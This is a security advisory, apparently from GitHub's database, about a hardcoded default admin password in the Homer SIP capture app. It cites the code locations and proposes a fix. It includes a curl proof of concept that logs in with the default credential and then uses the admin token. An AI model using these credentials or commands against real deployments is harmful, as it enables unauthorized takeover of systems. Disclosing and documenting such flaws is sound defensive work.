CVE-2026-62252: Homer Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6xp5-7rcx-xfgx",
  "modified" : "2026-10-07T16:12:02Z",
  "published" : "2026-10-07T16:12:02Z",
  "aliases" : [ "CVE-2026-62252" ],
  "summary" : "Homer: Hardcoded Default Admin Password 'sipcapture' With No Forced Change on First Login",
  "details" : "### Summary\nOn every fresh Homer deployment using internal authentication, the bootstrap process automatically creates an `admin` account with the password `sipcapture` (stored as a legacy SHA-256 hex hash). There is no first-login forced-change mechanism. Any attacker who reaches the login endpoint immediately gains full administrative access.\n\n### Details\n**`config/config.go` lines 858-861:**\n```go\n// DefaultInternalAuthPasswordHash is the SHA-256 hex digest of the default\n// bootstrap password (cleartext: sipcapture).\nconst DefaultInternalAuthPasswordHash = \"883ffc1f37fd0fe542b0fb9740035c4383e7d976c411161d24e62edace280f90\"\n```\n\n**`coordinator/services/auth_bootstrap.go` lines 20-71:** `EnsureBootstrapAdminUser()` runs at startup. If no admin user exists, it inserts a row with `username=admin`, `password_hash=DefaultInternalAuthPasswordHash`. No `force_change`, no `first_login` flag, no expiry is set.\n\n**`coordinator/services/auth_bootstrap_test.go` line 114** confirms the plaintext:\n```go\nu, err := svc.Authenticate(ctx, \"admin\", \"sipcapture\")\n```\n\n**`passwordhash/password.go` lines 36-45:** Legacy SHA-256 hex hashes are accepted via `legacySHA256HexEqual`, so the default credential is functional on any deployment.\n\n### PoC\n```bash\n# Authenticate with default credentials — works on any fresh Homer deployment\ncurl -s -X POST http://<homer-host>/api/v3/auth \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"sipcapture\"}'\n# Response: {\"token\":\"<admin-jwt>\",\"data\":{\"userGroup\":\"admin\"}}\n\n# Use the token to access all admin functionality\ncurl -H \"Authorization: Bearer <admin-jwt>\" http://<homer-host>/api/v3/users\n```\n\n### Impact\nUse of Hard-coded Credentials (CWE-798). Any attacker who can reach a freshly deployed Homer instance gains immediate full administrative access using the publicly documented default password, with no lockout, rate limiting, or forced password change required.\n\n### Fix\nRemove the hardcoded `DefaultInternalAuthPasswordHash` constant. Require operators to provide a hashed admin password in the configuration file. Alternatively, generate a random password on first startup, print it to stdout once, and immediately force a change on first login.\n\nIf possible, please apply for a CVE number when posting.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/sipcapture/homer-app"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260625091610-b2e942031ff8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sipcapture/homer/security/advisories/GHSA-6xp5-7rcx-xfgx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sipcapture/homer/pull/838"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sipcapture/homer/commit/b2e942031ff8cd7435a244ebef306ee97d16b809"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sipcapture/homer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sipcapture/homer/releases/tag/11.0.283"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-798" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T16:12:02Z",
    "nvd_published_at" : null
  }
}